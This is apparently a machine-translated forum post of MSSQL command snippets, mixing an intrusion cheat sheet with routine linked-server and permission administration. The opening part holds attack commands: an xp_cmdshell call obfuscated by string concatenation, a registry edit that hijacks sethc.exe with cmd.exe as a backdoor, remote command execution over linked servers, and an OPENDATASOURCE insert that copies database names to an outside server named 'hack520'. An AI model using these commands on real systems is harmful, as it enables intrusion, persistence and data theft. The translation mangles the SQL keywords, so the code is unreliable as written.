@a sysname-set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Wijziging van het register kaping verschuiven
Uitvoerend meester.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe aan'; --



Vraag naar de linkserver
selecteren

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
selecteren

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Query linkserver2
selecteer verschillende hostname,db_name(dbid),net_address,loginame,program_name uit

Meester.. SysProcesses



Vraag naar de linkserver
en andere ingelogde gebruikers
selecteer * uit [192.168.1.1].master.dbo.syslogins



Vraag LinkServer
Alle databases
selecteer * uit linkedSrvWeb.master.dbo.sysdatabases



Voer uitgebreide opslag uit op LinkServer
exec [ip].master.dbo.xp_cmdshell



Zoek alle tabellen op de linkserver op
selecteer * uit [ip].master.dbo.sysobjects








selecteer * uit openrowset

('sqloledb','server=IP; uid=gebruiker; pwd=wachtwoord','selecteer @@version')


selecteer * uit openquery([LINKSERVER)

naam],'selecteer @@version')




selecteer * uit openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




selecteer * uit OpenQuery(GM_SERVER,'selecteer * uit sysobjects waarbij xtype = (''U'')')


Selecteer * uit

openquery(NDOORS,'Selecteer IS_MEMBER(''db_owner'')')




selecteer * uit openquery(toatdeweb,'select

srvnaam van master.dbo.sysservers')


Invoegen in OpenDatasource

('sqloledb','server=222.241.95.12; UID=SCD; PWD=A123520; database=hack520').hack520.dbo.zhu select

naam van master.dbo.sysdatabases
create database hack520 Maak TABLE aan zhu(naam nvarchar(256)

null); Maak TABEL J8 aan (id int NULL,naam nvarchar(256) null);


Selecteer * uit OpenQuery

(toatdeweb,'zet fmtonly uit executive master.dbo.xp_cmdshell ''net user'')


Uitvoerend meester.. xp_dirtree

'c:\',1,1
Voer een querymap uit


exec links.master.. xp_cmdshell 'ipconfig'


selecteer * uit openquery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Verbind mysql Select * van Mem_DB. UserDB.dbo.AdminList


UITVOERENDE MEESTER.. XP_dirtree 'c:\',1,1




Leidinggevende

master.dbo.xp_cmdshell 'dir'


selecteer aantal(*) van [aangeven]
Vraag hoeveel data er in de huidige tabel staat




Selecteer verschillende hostname,db_name(dbid),net_address,loginame,program_name

van meester.. SysProcesses






Selecteer * uit GameDB01. Server01.dbo.cabal_character_table waar naam='

Pig'





Wanneer je het verwijdert, staat er: De database wordt gebruikt en kan niet worden verwijderd.


Klik op de database die je wilt verwijderen om de Gebeurtenisweergave te openen.


Input:


Gebruik   

meester
Ga
Voer dan het volgende in:
Verklaar @d Varchar(8000)
set @d= ' '
selecteer @d=@d+ ' kill   

'+cast(spid als varchar)+char(13)
van meester.. SysProcesses waarbij dbid=db_id('bibliotheeknaam')
exec(@d)
--
Gebruik code om eerst het proces te verwijderen dat verbinding maakt met deze database












MSSQL bedient Oracle via LinkServer






1) Oracle installeren op de SQL_SERVER 2005-server

9i cliënt. Stel dat je installeert in de C:\ora92i\-map. Als D: een NTFS-partitie is, moet je de ORACLE geïnstalleerde map instellen als de gebruikte

Abonnees hebben het recht om te draaien, toe te voegen en te verwijderen.


2)
Configureer het bestand C:\ora92i\network\ADMIN\tnsnames.ora. (De volgende rode tekst is een voorbeeld van een configuratie)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRES = (PROTOCOL = TCP)(HOST = 192.168.0.11)(POORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Voer het volgende commando uit in DOS-modus om te bevestigen dat de ORACLE-client correct is geïnstalleerd.


sqlplus user/password@ORCL


4)
Open Start - Control Panel - Services en bevestig dat de Distributed Transaction Coordinator-service is gestart.



5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (rechtermuisklik) - Nieuwe Connection Server.


1.      


Linkserver: Schrijf de naam van de gekoppelde server, zoals OracleTest.


2.         
Servertype, selecteer een andere databron


3. Toegangsinterface:
Selecteer Oracle Provider voor OLE DB


4. Productnaam: Write Oracle


5. Gegevensbron: Schrijf op

De servicenaam geconfigureerd in het tnsnames.ora-bestand, zoals ORCL


6.         
Access interface string: userid=sys als sysdba; wachtwoord=wachtwoord


7.         
Gebruik op de pagina 'Selecteer Beveiligingsopties' deze installatiecontext om een verbinding tot stand te brengen:


a) Externe login: gebruiker (andere gebruiker, niet sys)


b)      

    Gebruik wachtwoord: wachtwoord


8. Stel "NT AUTHORITY\SYSTEM" in op de lokale login, remote user sys, en stel het wachtwoord in


9.

         Weet je het zeker


6) Er zijn twee manieren om SQL te schrijven


a) Gebruik van T-SQL-syntaxis:


           SELECTEER * UIT

OraTest.ERP.BAS_ITEM_CLASS


           Let op dat bij het invoeren van SQL-instructies in SQL Query Analyzer je let op de Chinese full-width en half-width switching

Weg!


b) Gebruik PLSQL-syntaxis:
           SELECTEER * UIT openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) De tweede toegangsmethode is ongeveer 50% sneller dan de eerste; De tweede toegangsmethode is direct verbonden

ORACLE is vergelijkbaar; De eerste toegangsmethode kan leiden tot onverwachte fouten, zoals:
           De tabel bestaat niet, noch de huidige gebruiker

Er is geen toegang tot de tafel, enzovoort.


           d) Als de kolom die benaderd moet worden datatypes zonder precisie gebruikt, dan zijn beide

Dit is een bug van ORACLE die niet kan worden opgelost en alleen kan worden voorkomen door speciale afhandeling van query-instructies:


     De metadata die door de OLE DB-provider 'OraOLEDB.Oracle' voor de kolommen wordt geleverd, is inconsistent. Metadata-informatie wordt bij uitvoering gewijzigd.










mssql toegevoegd

Verwijder de gebruiker en geef toestemming


Gebruik je bibliotheeknaam   
Ga   
--Gebruikers toevoegen   
Exec sp_addlogin 'test' -- voeg inloggen toe   
Uitvoerend

sp_grantdbaccess N'test' - het een legitieme gebruiker van de huidige database maken   
exec sp_addrolemember N'db_owner',

N'test' - geeft alle rechten aan hun eigen database   
--Dit creëert gebruikers die alleen toegang hebben tot hun eigen database en wat er in de database is opgenomen

Openbare tabel voor gastgebruikers   
Ga   
--Testgebruiker verwijderen   
exec sp_revokedbaccess N'test' -- Verwijder de toegang tot de database

Limiet   
exec sp_droplogin N'test' -- inlog verwijderen   
Als je het aanmaakt in Enterprise Manager, gebruik dan:   
Enterprise Manager - Beveiliging

Seks --Rechtsklik Inloggen--Nieuwe Login   
Algemene items   
--Voer de gebruikersnaam in de naam   

--De authenticatiemethode wordt geselecteerd op basis van uw behoeften (als u Windows-authenticatie gebruikt, moet u eerst een nieuwe gebruiker aanmaken onder de gebruikers van het besturingssysteem)   

--Selecteer in de standaardinstellingen de databasenaam die je wilt openen voor de nieuwe gebruiker   
Serverrol-item   
Kies hier niets voor   
databank

Toegangsitem   
Controleer de naam van de database die je wilt openen voor de gebruiker die je hebt aangemaakt   
Laat de databaserol toe, vink "publiek", "db_ownew" aan.   
Natuurlijk, dit

De gebruiker die door het voorbeeld wordt gecreëerd, is dezelfde als de gebruiker die door de bovenstaande uitspraak is gemaakt   



De laatste stap is het instellen van specifieke toegangsrechten voor specifieke gebruikers, wat kan worden verwezen naar het volgende minimale voorbeeld:   

--Gebruikers toevoegen die alleen toegang hebben tot de opgegeven tabel:   
exec sp_addlogin 'gebruikersnaam', 'wachtwoord', 'standaard databasenaam'   

--toevoegen aan database   
exec sp_grantdbaccess 'gebruikersnaam'   

--Wijs volledige tabelrechten toe   
GRANT SELECT , INSERT , UPDATE , DELETE op TABLE1 NAAR [gebruikersnaam]   
--Wijs rechten toe aan specifieke kolommen   
GRANT SELECT, UPDATE op tabel 1(id,AA) NAAR [gebruikersnaam]   


Voor specifieke beveiligingsinstellingen en theoretische kennis, raadpleeg SQL Online Help  







Vaste databaserolbeschrijving   
  db_owner Volledige rechten in de database hebben.   

db_accessadmin Je kunt gebruikers-ID's toevoegen of verwijderen.   

db_securityadmin Kan volledige rechten, objecteigendom, rollen en rollidmaatschappen beheren.   

db_ddladmin kunt ALLE DDL-verklaringen uitgeven, maar geen TOEKENNING, INTREKKEN of WEIGEREN.   

db_backupoperator kunt DBCC-, CHECKPOINT- en BACKUP-statements uitgeven.   

db_datareader Je kunt alle gegevens selecteren uit elke gebruikerstabel in de database.   

db_datawriter Je kunt alle gegevens in elke gebruikerstabel in de database wijzigen.   

db_denydatareader Je kunt geen data selecteren uit een gebruikerstabel in de database.   

db_denydatawriter Je kunt geen gegevens wijzigen in een gebruikerstabel in de database.  





Je moet kiezen voor db_datareader, db_datawriter, db_accessadmin




5.
Nadat de SQL Server-instantie in single-user modus is gestart, kan het Windows-beheerdersaccount de sqlcmd-tool gebruiken om verbinding te maken in Windows-authenticatiemodus

SQL Server。 Je kunt T-SQL-commando's zoals "sp_addsrvrolemember" gebruiken om een bestaande login toe te voegen aan de sysadmin-serverrol

Of maak een nieuw inlogaccount aan.
Een voorbeelduitspraak is als volgt:


EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


GA


Voeg een sysadmin-privilege toe








(1) Serverrollen beheren


In SQL Server zijn er twee hoofdprocedures die SQL Server-rolbeheer implementeren:


sp_addsrvrolemember

en sp_dropsrvrolemember


sp_addsrvrolemember
Je kunt een inlogaccount toevoegen aan een serverrol om het lid van die serverrol te maken. De syntaxis is als volgt:
sp_addsrvrolemember

Inloggen, rol


sp_dropsrvrolemember
Je kunt een inlogaccount verwijderen van een serverrol, en wanneer het lid uit de serverrol wordt verwijderd, heeft het die serverrol niet langer

De permissies ingesteld. De syntaxis is als volgt:
sp_dropsrvrolemember [@loginname=]'inloggen',[@rolename=]'rol'


daarin

@loginname is de naam van de ingelogde gebruiker; @rolename is een serverfunctie.




(2) Databaserollen beheren


In SQL Server wordt databasebeheer ondersteund

Er zijn zes hoofdtypen opgeslagen procedures, en hun specifieke betekenissen en syntaxis zijn als volgt:


sp_addrole: Gebruikt om een nieuwe databaserol aan te maken;
sp_addrole

Rol, eigenaar


sp_droprole: Gebruikt om een databaserol uit de huidige databaserol te verwijderen;
sp_droprole rol


sp_helprole:

Het wordt gebruikt om alle informatie over alle databaserollen in de huidige database weer te geven;
sp_helprole ['rol']


sp_addrolemember: Gebruikt om naar de database te sturen

Voeg databasegebruikers toe aan een rol, die door gebruikers gedefinieerde standaardrollen of vaste databaserollen kan zijn, maar dat niet

Sollicitatiefuncties.
sp_addrolemember rol, security_account


sp_droprolemember: Gebruikt om een bepaald personage te verwijderen

huishouden;
sp_droprolemember rol, security_account


sp_helprolemember: Gebruikt om alle leden van een databaserol weer te geven


sp_helprolemember ['rol']






MSSQL LINKSERVER-query


----------------------------------------------------------------------------------
-- Auteur:

htl258(Tony)
-- Datum: 2010-06-25 22:23:18
-- Versie: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 jul 2008 14:43:34
-- Auteursrecht (c) 1988-2008 Microsoft Corporation
--

Developer Edition op Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Onderwerp:
SQL-databewerkingen tussen verschillende serverdatabases
----------------------------------------------------------------------------------
--1.
Maak een linkserver aan
--1.1 Maak een linknaam aan
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', de naam van de externe server

of IP-adres' --
Als je een aangepaste instantienaam hebt, voeg dan "\instance name" toe.
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Maak een login aan (of maak een linkserver loginkaart) (kies gewoon één manier)
--1.2.1
Inloggen met Windows-authenticatie
EXEC sp_addlinkedsrvlogin 'LinkName'
--of EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Inloggen met SQL-authenticatie
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Gebruikersnaam', 'Wachtwoord'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Linkserver-gerelateerde databewerkingen
--2.1 Queryvoorbeeld
SELECTEER * UIT LinkName.database naam.schema naam.tabel naam
/*例如:SELECT *

VAN TonyLink.Mydb.dbo.tb */
--
2.2 Importvoorbeeld
SELECTEER * IN tabelnaam VANUIT LinkName.database naam.schema naam.tabel naam
/*例如:SELECT * INTO Newtb

VAN TonyLink.Mydb.dbo.tb */
--
2.3 Update voorbeeld
UPDATE LinkName.Database Naam.Schema Naam.Tabel Naam SET veld='waarde' WAAR veld='conditie'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WAAR Persons='a' */
--
2.4 Verwijderingsvoorbeelden
VERWIJDER LinkNaam.Databasenaam.Schemanaam.Tabelnaam WAAR veldnaam='conditie'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WAAR Personen='g' */
--3 via de rowset-functie (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Methode
-
3.1 OPENQUERY-methode (vereist de hulp van de linkserver die je zojuist hebt gemaakt):
--
3.1.1 Queryvoorbeeld
SELECTEER * UIT OPENQUERY(LinkName, 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
/*
Bijvoorbeeld: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importvoorbeelden
--3.1.2.1 Import alle kolommen
INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. Tabelnaam

') SELECTEER * UIT lokale tabel
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

VAN TB */
--3.1.2.2
Importeer de opgegeven kolommen
INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') (kolom, kolom...)
SELECT-kolom,

Column... VAN de lokale tabel
/*
Bijvoorbeeld: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
SELECTEREN

BEREIK, NIVEAU, Personen VAN tuberculose
*/
--3.1.3
Updatevoorbeelden
UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') SET-veld = 'waarde' WAAR woord

Segment = 'Conditie'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Personen='a' */
--3.1.4
Verwijder voorbeelden
DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenaam. Naam van de architectuur. tabelnaam') WAAR veldnaam='conditie'
/*例

Bijvoorbeeld: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WAAR Persons='g' */
--3.2
OPENROWSET-methode (je hoeft de naam van de aangemaakte link niet te gebruiken.) Als de verbonden instantienaam niet de standaard is, moet je deze instellen op SQL Server naam of IP-adres.

"\instantienaam")
--3.2.1 Queryvoorbeeld
--3.2.1.1
Windows-authenticatiemethodenquery (een van de volgende methoden is voldoende)
SELECTEER * UIT OPENROWSET('SQLOLEDB', 'server=sql servernaam of

IP-adres; Trusted_Connection=ja', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT OPENROWSET('SQLNCLI',

'server=sql servernaam of IP-adres; Trusted_Connection=ja', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT

OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; Trusted_Connection=ja','SELECTEER * UIT database

Naam. Naam van de architectuur. Tafelnaam')
SELECTEER * UIT OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres)

Adres; Trusted_Connection=ja','SELECTEER * VAN databasenaam. Naam van de architectuur. Tafelnaam')
/*
Bijvoorbeeld: SELECTEER * UIT OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Of: SELECTEER * UIT OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Of: SELECTEER * UIT OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','SELECTEER *

VAN Mydb.dbo.tb')

Of: SELECTEER * UIT OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','SELECTEER *

VAN Mydb.dbo.tb')
*/
--3.2.1.2 SQL Authentication Method Query (Een van de volgende methoden is voldoende)
SELECTEER * UIT OPENROWSET

('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT

OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord','SELECTEER *

FROM databasenaam. Naam van de architectuur. Tafelnaam')
SELECTEER * UIT OPENROWSET('SQLNCLI', 'server=sql servernaam of IP-adres; uid=

Gebruikersnaam; pwd=wachtwoord','SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
SELECTEER * UIT OPENROWSET('SQLOLEDB', 'sql

servernaam'; 'gebruikersnaam'; 'wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT OPENROWSET('SQLNCLI', 'SQL SERVER NAAM'

'; 'gebruikersnaam'; 'wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' gebruiker

naam'; 'Wachtwoord', 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
SELECTEER * UIT OPENROWSET('SQLNCLI', 'sql server)

naam'; 'gebruikersnaam'; 'Wachtwoord', 'SELECTEER * UIT databasenaam. Naam van de architectuur. Tafelnaam')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Of: SELECTEER * UIT OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Of: SELECTEER * UIT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECTEER * UIT Mydb.dbo.tb')

of: SELECTEER * UIT OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECTEER * UIT

Mydb.dbo.tb')

of: SELECTEER * UIT OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

of: SELECTEER * UIT OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

of: SELECTEER * UIT OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECTEER * UIT Mydb.dbo.tb')

of: SELECTEER * UIT OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECTEER * UIT Mydb.dbo.tb')
*/
--3.2.2 Importvoorbeeld
--3.2.2.1 Import alle kolommen
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres)

Adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SELECTEER * UIT lokale tabel
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SELECTEER * UIT TB
*/
--3.2.2.2 Import

Specificeer kolommen
VUL OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Rack

Constructnaam. tabelnaam) (kolom, kolom...)
SELECTEER kolom, kolom... VAN de lokale tabel
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(BEREIK, NIVEAU, Personen)
SELECTEREN

BEREIK, NIVEAU, Personen VAN tuberculose
*/
--Opmerking: Voor meer alternatieve methoden, zie het .2.1 queryvoorbeeld, vervang gewoon de OPENROWSET-functie

De inhoud is voldoende.
--3.2.3 Updatevoorbeeld
UPDATE OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam

;p wd=wachtwoord', databasenaam. Naam van de architectuur. Tabelnaam)
SET-veld = 'waarde'
WAAR veld = 'conditie'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Personen='g'
WAAR Personen='a'
*/
--Opmerking: Voor meer alternatieve methoden, zie het .2.1-queryvoorbeeld, vervang gewoon de inhoud in de OPENROWSET.
--3.2.4 Verwijder de aanwijzing

Voorbeeld
VERWIJDER OPENROWSET('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord', databasenaam. Schemanaam

.tabelnaam)
WAAR veldnaam = 'conditie'
/*
Bijvoorbeeld: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
WAAR

Personen='g'
*/
--Opmerking:
Voor meer alternatieve methoden, zie het .2.1 queryvoorbeeld, vervang gewoon de inhoud in de OPENROWSET.
--3.3 OPENDATASOURCE-methode

(Je hoeft de naam van de aangemaakte link niet te gebruiken.) Als de instantienaam van de verbinding niet standaard is, moet je \instance naam toevoegen na de sql-servernaam of IP-adres

")
--3.3.1
Queryvoorbeeld
--3.3.1.1 Windows Authenticatiemethodenquery (Een van de volgende methoden is voldoende)
SELECTEER * UIT OPENDATASOURCE('SQLOLEDB',

'server=sql servernaam of IP-adres; Trusted_Connection=ja'). Databasenaam. Naam van de architectuur. Tabelnaam
SELECTEER * UIT

OPENDATASOURCE('SQLNCLI', 'server=sql servernaam of IP-adres; Trusted_Connection=ja'). Databasenaam. Naam van de architectuur.

Tabelnaam
/*
Bijvoorbeeld: SELECTEER * UIT OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb

Of: SELECTEER * UIT OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-authenticatiemethodequery (een van de volgende methoden is voldoende)
SELECTEER * UIT OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of

IP-adres; uid=gebruikersnaam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
SELECTEER * UIT OPENDATASOURCE('SQLNCLI', 'server=sql servernaam of IP-adres; uid=gebruiker

Naam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
SELECTEER * UIT OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernaam of IP-adres)

Adres; uid=gebruikersnaam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
SELECTEER * UIT OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernaam of IP-adres)

Adres; uid=gebruikersnaam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Of: SELECTEER * UIT OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Of: SELECTEER * UIT OPENDATASOURCE('SQLOLEDB','Data

Bron=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Of: SELECTEER * UIT OPENDATASOURCE('SQLNCLI','Data

bron=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importeer alle kolommen
VUL OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord').

Volgens de naam van de bibliotheek. Naam van de architectuur. Tabelnaam
SELECTEER * UIT lokale tabel
/*
Bijvoorbeeld: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SELECTEREN

* VAN TBB
*/
--3.3.2.2
Importeer de opgegeven kolommen
VUL OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres) in; uid=gebruikersnaam; pwd=wachtwoord').

Volgens de naam van de bibliotheek. Naam van de architectuur. Tabelnaam (kolom, kolom...)
SELECTEER kolom, kolom... VAN de lokale tabel
/*
Bijvoorbeeld: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(BEREIK, NIVEAU, Personen)
SELECTEER BEREIK, NIVEAU, Personen VAN tuberculose
*/
--Opmerking:
Voor meer alternatieve methoden, zie het .3.1-queryvoorbeeld, vervang gewoon de inhoud in de lijnsetfunctie (OPENDATASOURCE).
--3.3.3 Updatevoorbeeld
UPDATE OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
SET-veld = 'waarde'
WAAR veld = 'conditie'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Personen='g'
WAAR Personen='a'
*/
--Opmerking:
Voor meer alternatieve methoden, zie het .3.1-queryvoorbeeld, vervang gewoon de inhoud in de lijnsetfunctie (OPENDATASOURCE).
--3.3.4 Verwijderingsvoorbeeld
VERWIJDER OPENDATASOURCE('SQLOLEDB', 'server=sql servernaam of IP-adres; uid=gebruikersnaam; pwd=wachtwoord').
Naam van de database. Naam van de architectuur. Tabelnaam
WAAR veldnaam = 'conditie'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
WAAR Personen='g'
*/
- Opmerking: Meer alternatieven

Zie het .3.1 queryvoorbeeld, vervang gewoon de inhoud in de rowset-functie (OPENDATASOURCE).
--
Verwijder de gekoppelde servermethode
--Als je de linkinformatie in de toekomst niet meer gebruikt, kun je de linkinformatie verwijderen
--4.1
Verwijder inloggegevens (of verwijder gekoppelde server loginnaammap)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Bijvoorbeeld: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Verwijder de gekoppelde servernaam
EXEC sp_dropserver 'LinkName', 'droplogins' – als droplogins zijn gespecificeerd,
De loginmap moet worden verwijderd voordat de gekoppelde server wordt verwijderd
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Bijgevoegd


Hoe krijg je de Provider Name (EXEC master). xp_enum_oledb_providers)
SELECTEER CAST([Provider Naam] AS

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
VAN

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ja',
'ZET ALLEEN AF;
EXEC

Meester.. xp_enum_oledb_providers'
)




Vorig:UCloud kwetsbaarheidsafhandelingsproces en beloningsdetails
Volgend:Ik kan vandaag de trein naar huis halen, en ik ben al meer dan een half jaar niet thuis geweest
Geplaatst op 27-09-2017 17:43:11 |
Heel gedetailleerd, bedankt
 Huisbaas| Geplaatst op 17-06-2023 11:12:11 |
Test SQL-injectietesten met de SQLMAP-infiltratietool
https://www.itsvse.com/thread-10611-1-1.html
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com